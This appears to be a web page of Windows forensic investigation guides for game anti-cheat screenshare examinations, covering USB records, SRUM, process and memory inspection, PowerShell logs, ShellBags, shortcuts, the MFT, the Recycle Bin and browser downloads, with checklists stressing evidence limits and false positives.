  1. Write the narrow question and describe the evidence before stating the interpretation.
  2. Preserve original files or records privately and make redacted excerpts for public discussion.
  3. Include enough steps and versions to reproduce the method, plus differences from the reference environment.
  4. State alternative explanations and identify the extra evidence needed to distinguish them.
  5. For a tool, verify the project’s source location and document your test conditions without implying owner approval.
§ 04

Interpretation & false positives

A public display name does not verify authorship, and a community post is not automatically reviewed research. Evaluate the underlying method and evidence. A screenshot can be useful illustration, but it cannot replace the original record for byte-level identity or deeper parsing.

Approval in a tool directory means the owner reviewed that submission; it is not a perpetual guarantee for future releases or every download mirror. Record the reviewed version where practical and use the official project source. If a claim cannot be reproduced, report that limitation rather than quietly upgrading its confidence.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A post claims one filename always proves cheating. Reproduce the query in a known legitimate instance and compare the artifact’s actual meaning. Share the counterexample and explain why filename matching overstates the finding. A constructive correction is more useful than replacing one unsupported verdict with another.

§ 06

Report checklist

  • Observation and interpretation are distinct.
  • Versions and reproduction steps are included.
  • Player identifiers and secrets are removed from public excerpts.
  • A suggested tool is not described as approved until the owner decides.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

USB devices & removable pathsRelate installation, connection, and file-path observations without turning a device record into a transfer log.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Removable storage can explain a historical drive letter, a shortcut target, or a utility that is no longer present on an internal volume. Ask which device and which connection window matter to the disputed session. Windows installation logs and registry or event context can provide identifiers, but installation, connection, mounting, and file transfer are different events.

SetupAPI.dev.log records device installation information and commonly resides in the Windows INF directory. Preserve a collected copy before examining it. Installation records are useful context, but they do not enumerate every subsequent insertion or every file copied from the device.

§ 02

What to collect

SourceRetain and examine
Installation logA collected SetupAPI.dev.log with original metadata.
Device identityAvailable instance identifiers, serial information, and source fields.
Volume contextHistorical volume information, mount context, and relevant drive letters.
File evidenceShortcuts, Prefetch volume references, and filesystem or game records.
§ 03

Examination workflow

  1. Record the Windows build and the device-related question before choosing sources.
  2. Collect installation, registry, and relevant event context; document which sources were available.
  3. Match complete identifiers cautiously. A generic device class or display name is not a unique identity.
  4. Resolve historical drive letters using volume context before assigning a path to a current device.
  5. Correlate device context with specific file and execution records, keeping unsupported transfer claims separate.
§ 04

Interpretation & false positives

A device installed once may produce no new installation record during a later insertion. Event availability varies across builds, providers, and logging configuration. Do not assign one universal event ID or a fixed retention period to every system.

Serial and instance fields may represent different layers of identity; some devices provide weak or non-unique identifiers. A connected drive is not proof that a particular file was copied or run. An absent drive at collection time does not eliminate surviving historical paths.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A shortcut and a Prefetch volume reference point to a removable volume, while installation data identifies a compatible USB device. This is a correlation lead, not a complete transfer history. Record how the volume and device were mapped, identify uncertainty, and search for the specific file’s independent records.

§ 06

Report checklist

  • Installation and later connection are distinguished.
  • Device and volume identifiers retain their source fields.
  • Drive letters are interpreted historically.
  • Transfers or execution are supported by file-specific evidence.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

SRUM: resource use in contextUse resource and network-usage records as timeline context without treating them as packet captures or exact launch logs.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

System Resource Usage Monitor data can help investigate application activity and resource usage. Its Windows ESE database is commonly located at Windows\System32\sru\SRUDB.dat. Depending on collected tables and system version, records can provide application, user, resource, or network-usage context. Establish the available schema and parser interpretation before relying on a field.

Normal launchers, voice applications, overlays, and updates can produce substantial activity. Compare the recorded identity and interval with the relevant session instead of equating high usage with misconduct.

§ 02

What to collect

SourceRetain and examine
SRUM databaseCollected SRUDB.dat and supporting ESE files required by the acquisition method.
Schema contextWindows build, available tables, and parser version.
Identity contextApplication identifiers and associated user or mapping information.
Time contextOriginal timestamps, aggregation intervals, and matching session records.
§ 03

Examination workflow

  1. Use an acquisition method that produces a coherent database copy rather than stopping services merely to unlock the file.
  2. Select a parser supporting the source schema and preserve its table-level output.
  3. Resolve application and user identifiers using relevant mappings; document unresolved identifiers.
  4. Review the interval represented by each resource or network record before comparing it with a match.
  5. Correlate leads with process, event, file, and game records rather than treating the output as a verdict.
§ 04

Interpretation & false positives

Usage accounting is not packet content. A network-usage figure does not identify every destination or disclose what bytes were exchanged. Aggregated records should not be relabeled as precise program-start or transfer timestamps.

Collection state, parser support, configuration, and retention limit coverage. A missing application record is not a universal disproof of execution. Shared processes, services, launchers, and legitimate downloads can make a suspicious-looking pattern ordinary once identity and interval are resolved.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A launcher records substantial network use near a disputed session. Its update log and filesystem records show a game update. Evaluate that explanation before describing the usage as a tool download. If a process cannot be identified confidently, record the unresolved mapping and avoid assigning its bytes to a player action.

§ 06

Report checklist

  • Database collection and schema support are documented.
  • Mappings are resolved or explicitly uncertain.
  • Accounting intervals are not presented as exact event times.
  • Network usage is not described as packet content.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Live process & module inspectionInspect process identity, parents, modules, and open resources without equating overlays or unusual names with cheats.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

A live process view can establish what is running during an observed session. Record collection time and tool version before discussing a PID, path, command line, parent, user, module, or handle. Process IDs can be reused after termination; a PID without time and identity context is not permanent.

Process Explorer can expose relationships, loaded DLLs, and handles depending on access. Use those views to form a specific question. An overlay library, recorder, accessibility application, or security component may legitimately interact with a game process.

§ 02

What to collect

SourceRetain and examine
Process identityPID, collection time, image path, user, and available start information.
Invocation contextCommand line, parent identity, and relevant environment.
Modules and handlesAvailable module paths and resource references with access limits.
File identityCollected hashes and signature information for relevant binaries.
§ 03

Examination workflow

  1. Capture observed state before stopping processes or relaunching the game.
  2. Resolve the executable path and parent context rather than trusting a display name.
  3. Inspect relevant modules and resources, retaining path and identity information.
  4. Compare suspicious modules with exact releases and legitimate software in the environment.
  5. Correlate runtime observations with logs and files, documenting views denied by access restrictions.
§ 04

Interpretation & false positives

A live tool displays a moment in time. A module can load or unload between observations; a terminated process may be absent. A failure to inspect a process can reflect privilege or protection rather than concealment. Do not turn a blank panel into proof that no relevant state existed.

A DLL inside a game process is not automatically maliciously injected code. Names, signatures, and paths are identity signals, but capability and use require further examination. Parents may have exited, and current PID mappings can differ from earlier records.

§ 05

Worked scenario

Illustrative case / not a real player allegation

An unfamiliar DLL appears in the game process. Its hash and publisher information match an installed capture product, and notes confirm recording was active. Record the supported explanation. If the bytes differ from the expected release, investigate that discrepancy instead of treating every similarly named module alike.

§ 06

Report checklist

  • Each PID is paired with time and identity.
  • Access restrictions are documented.
  • Module presence is separate from a behavior claim.
  • Legitimate overlays and capture products are considered.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Memory triage for gaming processesPlan memory collection and interpret process-scanning leads with reproducible acquisition context.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Memory may preserve process state, loaded material, strings, and runtime context absent from disk. Decide whether collection is appropriate before asking a player to run an acquisition tool. Record its provenance, version, required access, output location, and impact. A live acquisition is a changing-system operation, not an invisible snapshot with no effect.

Separate acquisition from analysis. Preserve the image and calculate a content hash. Record the machine, Windows build, collection start and end times, and errors. Analyze a copy in a controlled environment; do not execute material found within it.

§ 02

What to collect

SourceRetain and examine
Memory sourceImage, content hash, method, and collection times.
System contextWindows build, machine identity, available symbols, and acquisition limits.
Process observationsParser-supported identity, tree, command-line, or scanning results.
CorroborationRelevant files, logs, modules, and session context.
§ 03

Examination workflow

  1. Define the process or capability question and select a compatible acquisition method.
  2. Preserve output and errors; do not substitute a process dump for complete RAM without stating the difference.
  3. Use a documented framework such as Volatility 3 with suitable symbols and record commands and version.
  4. Compare process enumeration with scanning results where appropriate, investigating differences rather than assuming every object is active.
  5. Treat suspicious regions or strings as leads requiring process, mapping, file, or behavioral corroboration.
§ 04

Interpretation & false positives

Enumeration and pool scanning can answer different questions. Scans can encounter residual objects; a difference from a live list does not itself prove a hidden active process. Symbol mismatches, acquisition gaps, and operating-system support affect results.

Unusual or executable regions are not automatically cheat evidence. JIT runtimes, security products, graphics components, and legitimate hooks can create complex layouts. A string may be cached text rather than an executed capability. Retain its offset and process context, and describe interpretation limits.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A scan contains a process name absent from the live list. Check whether its lifetime overlaps the session and whether the object is residual. Compare creation or exit context and other artifacts. Report a historical or unresolved object unless evidence supports current activity.

§ 06

Report checklist

  • Acquisition type, hash, and timing are recorded.
  • Framework and symbol support are documented.
  • Residual objects are distinguished from active processes.
  • Strings or region flags are not complete capability proof.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

PowerShell logs & command contextRead script telemetry and interpret encoded commands without executing them.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

PowerShell can support administration, launcher maintenance, collection, or malicious activity. Establish what telemetry was enabled and which engine produced it. Windows PowerShell and newer installations can use different provider or channel contexts. Collect the actual logs instead of assuming one default location covers every invocation.

Preserve original text and record identifiers before decoding or reformatting a command. Document every transformation. A script record is useful because it preserves observed content or context, not because a long or encoded string is automatically suspicious.

§ 02

What to collect

SourceRetain and examine
Relevant EVTXProvider, channel, retention, and collection time.
Script recordsText, available identifiers, fragments, and timestamp fields.
Process contextParent, command line, user, engine version, and telemetry.
Related stateReferenced files, tasks, registry changes, and network observations.
§ 03

Examination workflow

  1. Record the engine and existing configuration; new logging cannot create historical evidence.
  2. Collect original logs and inspect record fields rather than searching screenshots for a keyword.
  3. Group fragmented content using available identifiers and note missing portions.
  4. Decode data offline without invoking the recovered command; retain original and derived text.
  5. Interpret behavior using process and user context, then seek corroborating file, persistence, or network records.
§ 04

Interpretation & false positives

Coverage depends on configuration and engine behavior. Missing script text from an unconfigured source does not prove no script ran. A command may contain unavailable variables or incomplete content; its outcome needs support beyond the recorded text.

Encoding and downloaded text can have legitimate purposes. A collector can generate PowerShell artifacts during a screenshare. Compare timestamps with the collection log so that your own tooling is not attributed to earlier activity.

§ 05

Worked scenario

Illustrative case / not a real player allegation

An encoded command appears after a collector was launched. Notes identify it as an approved acquisition step. Preserve that attribution and examine earlier relevant records separately. A different earlier command deserves its own interpretation rather than being grouped with every encoded invocation.

§ 06

Report checklist

  • Engine, provider, channel, and coverage are recorded.
  • Original and decoded text are retained.
  • Fragments and unresolved variables are identified.
  • Collector activity is separate from earlier activity.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

ShellBags & directory contextReconstruct user-specific directory context while distinguishing folder navigation from file execution.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

ShellBags can preserve information about directories encountered through the Windows shell. During a game examination, they may provide context for a removed client folder, an external drive, or a different instance location. These records relate to shell presentation and directory context; they are not a complete record of opening every file inside a folder.

Collect the relevant user registry hives, including UsrClass.dat where applicable, with supporting transaction logs. Preserve the Windows profile association. A parser may reconstruct a directory hierarchy from multiple records, so retain the records and reconstruction context instead of relying solely on the final displayed path.

§ 02

What to collect

SourceRetain and examine
User hivesRelevant NTUSER.DAT and UsrClass.dat copies with supporting logs.
Profile identitySID, profile path, Windows build, and acquisition time.
Directory recordsParsed hierarchy, shell-item information, and source key paths.
Supporting pathsLNK targets, Jump Lists, filesystem records, and game instance configuration.
§ 03

Examination workflow

  1. Locate the hives for the profile actually examined rather than assuming the first profile is the active player context.
  2. Parse collected copies using a documented ShellBags implementation and record its version.
  3. Follow the reconstructed directory hierarchy and retain any unresolved or incomplete segments.
  4. Compare external-volume or removed-folder references with device, shortcut, and filesystem evidence.
  5. Report which directory context survived and which further claim would require separate evidence.
§ 04

Interpretation & false positives

Directory context does not establish that a particular executable ran. It may help explain where to look, but the contents of a directory can change after the record is created. Different timestamp fields may originate from shell items or registry keys and describe different things. Do not collapse them into a single last-opened time without verifying the field semantics.

A reference to removable storage is not a complete history of transfers. An absent ShellBag is not proof that a folder was never visited. Collection coverage, application behavior, profile selection, and artifact retention all limit the result.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A removed folder name appears in reconstructed shell context and a shortcut points to a similarly named executable. This supports a path lead. Compare volume and object information before treating the names as the same location, then look for independent execution-related records. The directory record itself should remain a directory observation in the report.

§ 06

Report checklist

  • The profile and both relevant hive sources are considered.
  • Reconstructed paths identify unresolved segments.
  • Each timestamp is reported with its originating field.
  • Directory context is not presented as executable use.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Shortcuts & Jump ListsConnect recent items and target paths to the relevant application, profile, and volume.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Windows shortcuts and application Jump Lists can provide target paths and user-specific context for recent items. They can be useful when a file has moved or disappeared, or when a game instance was launched from an unexpected directory. A shortcut describes a target and may retain metadata from the time it was created or updated. It is not a complete record of the target’s subsequent history.

Jump Lists are attached to applications and can include recent, frequent, pinned, or application-defined destinations and tasks. Identify the application association and profile before drawing conclusions from a parsed entry. Pinned or static tasks can persist without representing recent use of the target.

§ 02

What to collect

SourceRetain and examine
Shortcut filesSelected .lnk files, source locations, and filesystem metadata.
Jump List filesRelevant user-profile destination lists and their metadata.
Target informationPath, working directory, arguments, volume context, and parser-supported fields.
Application contextThe associated application or AppID and how that association was determined.
§ 03

Examination workflow

  1. Collect files from the profile and instance context relevant to the session.
  2. Parse shortcuts and destination lists using format-aware tools such as LECmd and JLECmd.
  3. Keep the shortcut file’s own timestamps separate from embedded target metadata.
  4. Resolve drive letters using available volume information; a historical drive letter may not name the same current device.
  5. Compare targets and application context with game logs, filesystem changes, and independent execution artifacts.
§ 04

Interpretation & false positives

A target name appearing in a link does not prove its current presence, contents, or execution. A manually created shortcut can refer to a file that was never launched. A recent destination may describe a document opened by an application, not a separate process execution.

Historical paths can contain usernames and private directory names; redact those from a public finding while retaining an unredacted evidence copy where appropriate. Exact interpretation requires distinguishing the source file, the application’s destination entry, and the target object.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A shortcut names a client on drive E:, but the current E: device is a different USB stick. Compare volume identifiers and accompanying device records before attributing the target to the connected stick. Report the historical target context as recorded and leave uncertain mappings unresolved.

§ 06

Report checklist

  • Source and embedded target timestamps are separated.
  • Application and profile associations are stated.
  • Historical drive letters are not treated as permanent identities.
  • Execution claims rely on more than a shortcut.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

The MFT: file identity & metadataTrace file records, names, and timestamp families without assuming metadata reveals behavior.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

The NTFS Master File Table describes files and directories on a volume. In a gaming investigation, it can help establish that an object existed at a recorded path, identify related metadata, and connect a removed client to surviving filesystem records. An MFT record is filesystem evidence, not a direct observation of what a program did.

Collect the relevant volume context and use a parser appropriate to the acquisition. Keep the original record identifiers and sequence information where available. After deletion, a record can become available for reuse; a matching record number alone may therefore be insufficient to identify the same historical object.

§ 02

What to collect

SourceRetain and examine
Filesystem sourceCollected MFT or disk image with volume identity and acquisition notes.
Record identityEntry number, sequence information, parent reference, and allocation state.
Names and attributesParsed filename attributes, data descriptions, and relevant timestamp families.
Related sourcesUSN journal, transaction log, actual file copies, and execution-related evidence.
§ 03

Examination workflow

  1. Identify the volume and acquire its metadata through a method suited to the task.
  2. Parse a copy with a documented tool such as MFTECmd, recording the version and input format.
  3. Search full path context and follow parent references instead of assigning identity from a filename alone.
  4. Keep each timestamp family and source field separate. Describe any discrepancy before interpreting it.
  5. Correlate file creation, rename, or deletion leads with journal and execution records; retain raw identifiers in your working notes.
§ 04

Interpretation & false positives

File metadata can change for legitimate reasons such as copying, extracting archives, updates, and normal application activity. Timestamp differences do not automatically establish deliberate tampering. A date printed by a parser is meaningful only with its attribute, field, and conversion rules.

Microsoft describes deleted records as reusable. Old metadata may survive temporarily, but it is not a guaranteed history or a guarantee of recoverable content. Do not assume a freed record still describes the file currently carrying a similar name. Execution and user attribution require additional sources.

§ 05

Worked scenario

Illustrative case / not a real player allegation

An archive was extracted into a game instance immediately before a session. Several files have older modification dates but recent filesystem creation context. That pattern may reflect preserved archive metadata rather than clock manipulation. Compare the archive, extraction behavior, and journal records before describing a cause.

§ 06

Report checklist

  • Volume and record identity are retained.
  • Sequence or reuse context is considered.
  • Timestamp fields are not merged into one date.
  • Filesystem changes and execution are reported separately.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Recycle Bin & deletion recordsExamine discarded files and deletion metadata while accounting for pathways that bypass the Recycle Bin.
Listen to this guide4 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

The Recycle Bin can preserve content and metadata for files deleted through supported shell operations. During a screenshare examination, it may reveal a removed mod, archive, or utility connected to the disputed session. Examine the relevant volume and user context rather than only the graphical Recycle Bin view. The GUI is a presentation of available items, not a complete audit of every deletion.

On modern Windows systems, paired recycle artifacts can contain metadata and the discarded object, commonly using $I and $R naming. Preserve the pair and original source location when possible. Use a version-aware parser instead of inferring every field from filenames.

§ 02

What to collect

SourceRetain and examine
Recycle artifactsRelevant $Recycle.Bin content from the examined volume and user context.
Metadata pairOriginal path, size, deletion-related time, and parser-supported identifiers.
Discarded contentThe paired object, its content hash, and acquisition notes.
CorroborationMFT or USN observations, original mod references, and available execution evidence.
§ 03

Examination workflow

  1. Record volume and user context before exporting items from the bin.
  2. Collect the artifacts without restoring items into their original paths. Restoration would change the examined system.
  3. Parse metadata with a documented tool such as RBCmd and retain the raw pair.
  4. Hash recovered content and compare it with the exact claimed release before examining its code or resources.
  5. Connect deletion-related records to the session timeline, checking timezone and corroborating filesystem evidence.
§ 04

Interpretation & false positives

Some deletion mechanisms bypass the Recycle Bin. An empty bin does not prove that no files were deleted, and surviving items may relate to an older or unrelated session. The metadata concerns the discarded object; it does not establish that the program ran before deletion.

A recovered item can still be incomplete, altered, or misidentified. Verify the bytes you have rather than assuming that a displayed original filename authenticates the contents. Do not execute recovered binaries or archives merely to see what they do.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A discarded JAR matches an unofficial modification, but there is no link to the active game instance. Report its presence and deletion metadata, then look for launcher and game-session context. Possession, installation, loading, and actual use are different questions and should not be merged.

§ 06

Report checklist

  • The relevant volume and user context are known.
  • Paired metadata and content are retained.
  • Recovery did not silently restore files on the source system.
  • Deletion is not treated as proof of prior execution.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

Browser downloads & profile contextConnect downloaded mods and utilities to recorded URLs, target paths, profiles, and exact file identity.
Listen to this guide5 min / AI narration
Download audio ↓

Code, tables and images may need the written guide.

§ 01

Question & scope

Browser artifacts can help investigate how a mod, archive, or utility reached a computer. Begin by identifying the actual browser profile relevant to the examination. A default profile path is a starting point, not proof that the displayed session used that profile. Chromium-based products, Firefox, portable builds, and alternate profiles use different layouts.

A download entry may preserve a URL chain, target path, and state information. Interpret those fields according to the browser version and database schema. Opening the browser or clearing data during a live check can change the source, so collect relevant copies before using a viewer when possible.

§ 02

What to collect

SourceRetain and examine
Browser profileProduct, version, profile directory, and how it was identified.
Database contextRelevant history or download database and associated journals or WAL files.
Download recordRecorded URLs, target path, timestamps, size or state fields where supported.
Current objectRecovered or surviving file, content hash, and exact release comparison.
§ 03

Examination workflow

  1. Determine the active profile through the browser’s own profile or version information and document the selected path.
  2. Acquire relevant database files coherently. When SQLite WAL data is present, preserve the supporting files rather than copying an arbitrary main file alone.
  3. Use a schema-aware viewer or parser and retain the raw database record identifiers.
  4. Follow recorded redirect or download chains and compare the target path with filesystem records.
  5. Hash surviving downloaded content and assess the exact file; do not assume the URL or download filename proves its bytes.
§ 04

Interpretation & false positives

A download record is not proof of execution or game use. An incomplete download, a changed target path, an overwritten file, or a later replacement can separate the recorded URL from the bytes currently on disk. Browser history can also reflect redirects, embedded requests, or another user context.

Private browsing, profile differences, cleanup, synchronization, and retention affect coverage. Missing history is not evidence that no download occurred. Public findings should avoid publishing unrelated browsing history or URLs containing account tokens.

§ 05

Worked scenario

Illustrative case / not a real player allegation

A recorded download points to a legitimate mod release, but the current JAR hash differs. Preserve both observations. Investigate whether the file was later modified, replaced, or copied from another profile. The legitimate URL does not authenticate the current bytes; the mismatch does not explain itself.

§ 06

Report checklist

  • The selected browser profile is identified.
  • Supporting database files are collected coherently.
  • Download, file identity, and execution claims are distinct.
  • Private URLs and unrelated browsing data are redacted.
§ 07

Sources & further reading

The workflow and scenario are authored investigation guidance. Confirm source-system and parser support for the build you examine.

Open standalone guide ↗

FINAL QUIZ / 34 QUESTIONS

Check your understanding.

Choose one answer per question. Each correct answer is worth one point. Submit all 34 answers to see your score and explanations.